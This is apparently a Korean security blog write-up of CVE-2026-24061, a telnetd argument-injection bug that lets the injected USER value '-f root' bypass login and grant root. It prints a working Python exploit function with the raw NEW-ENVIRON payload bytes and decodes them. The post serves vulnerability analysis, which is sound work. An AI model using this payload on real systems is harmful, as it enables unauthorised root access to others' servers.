Security Tech

CVE-2026-24061 PoC

작성자 - 현우는 5살

CVE-2026-24061PoC

목차

  • CVE-2026-2406란?
  • Root Cause
  • PoC진행
  • exploit 분석
  • 요약

CVE-2026-2406란?

CVE-2026-24061은 telnetd가 클라이언트로부터 전달받은 환경 변수(USER)를 적절한 검증 없이 시스템 로그인 프로그램(/bin/login)으로 넘겨주면서 발생하는 인자 주입(Argument Injection) 취약점입니다. 이를 통해 공격자는 인증 절차를 완전히 건너뛰고 시스템의 루트 권한을 장악할 수 있습니다.

영향을 받는 소프트웨어는 GNU InetUtils telnetd (v1.9.4 ~ v2.7)로 확인할 수 있습니다.

 


Root Cause

Telnet의 환경 변수 전달 기능 (RFC 1572)

Telnet 프로토콜은 NEW-ENVIRON 옵션을 통해 클라이언트가 서버로 환경 변수를 전달할 수 있게 합니다. 정상적인 경우, 클라이언트는 USER라는 변수에 사용자 ID(예: admin)를 담아 보냅니다.

 

/bin/login의 -f 옵션

리눅스의 로그인 프로그램(/bin/login)은 -f (force) 옵션을 지원합니다.

  • 명령어: login -f root
  • 기능: "사용자가 이미 인증되었으므로, 비밀번호를 묻지 않고 즉시 root로 로그인시킨다."

발생하는 이유

취약한 버전의 telnetd는 클라이언트가 보낸 USER 변수 값을 필터링하지 않고 login 명령어의 인자로 붙여 실행합니다.

공격자가 USER 변수 값으로 -f root를 전송하면, 서버 내부에서는 다음과 같은 일이 벌어집니다.

 

execv("/bin/login", ["login", "-h", "192.168.0.1", "-p", "guest"])

execv("/bin/login", ["login", "-h", "192.168.0.1", "-p", "-f root"])

PoC 진행

해당 PoC는 https://github.com/cyberpoul/CVE-2026-24061-POC/tree/main 해당 링크를 참조해서 진행하였습니다.

진행하기 위해서 telnet서버를 로컬에 구축을 진행하였습니다.

해당 PoC를 실행시켰을때

성공적으로 진행된것을 확인할 수 있습니다.

 


exploit분석

def exploit(target, port):
    print("[+] Connecting to " + str(target) + ":" + str(port) + "...")
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((target, port))
        s.settimeout(None) 
        s.sendall(b'\xff\xfb\x27\xff\xfa\x27\x00\x00USER\x01-f root\xff\xf0')
        t = threading.Thread(target=reader, args=(s,))
        t.daemon = True
        t.start()

        import time
        time.sleep(1) 
        
        if not t.is_alive():
            print("[-] The target does not seem vulnerable")
            return

        while True:
            cmd = sys.stdin.readline()
            if not cmd: break
            s.sendall(cmd.encode() if sys.version_info[0] >= 3 else cmd)
            
    except (socket.timeout, ConnectionRefusedError, OSError):
        print("[-] The target seems to be unreachable")
    except KeyboardInterrupt:
        s.close()

exploit를 진행할때 발생하는 서버 요청에 대해 처리하는 함수 구문입니다.

s.sendall(b'\xff\xfb\x27\xff\xfa\x27\x00\x00USER\x01-f root\xff\xf0') payload로 보이는 이 구문을 해당 서버에 전달을 진행합니다. 해당 Payload를 해석하자면

  • xff\xfb\x27: 클라이언트가 환경 변수 옵션(NEW-ENVIRON)을 사용하겠다고 선언
  • \xff\xfa\x27: 서버 요청사항 확인
  • USER\x01-f root: USER라는 변수의 값(\x01은 VALUE 구분자)을 -f root로 설정.

이와 같은 방식으로 진행하여 공격자에게 -f root를 전달하여 root권한을 가져올 수 있습니다.

 


요약

 

 "공격자가 Telnet 프로토콜의 환경 변수(USER)에 -f root 값을 주입하면, 서버측 telnetd가 이를 검증 없이 /bin/login 명령어의 인자로 전달하여 강제로 인증 과정을 건너뛰고 루트 권한을 획득하는 원리입니다."
Contents

이 글이 도움이 되었다면, 응원의 댓글 부탁드립니다.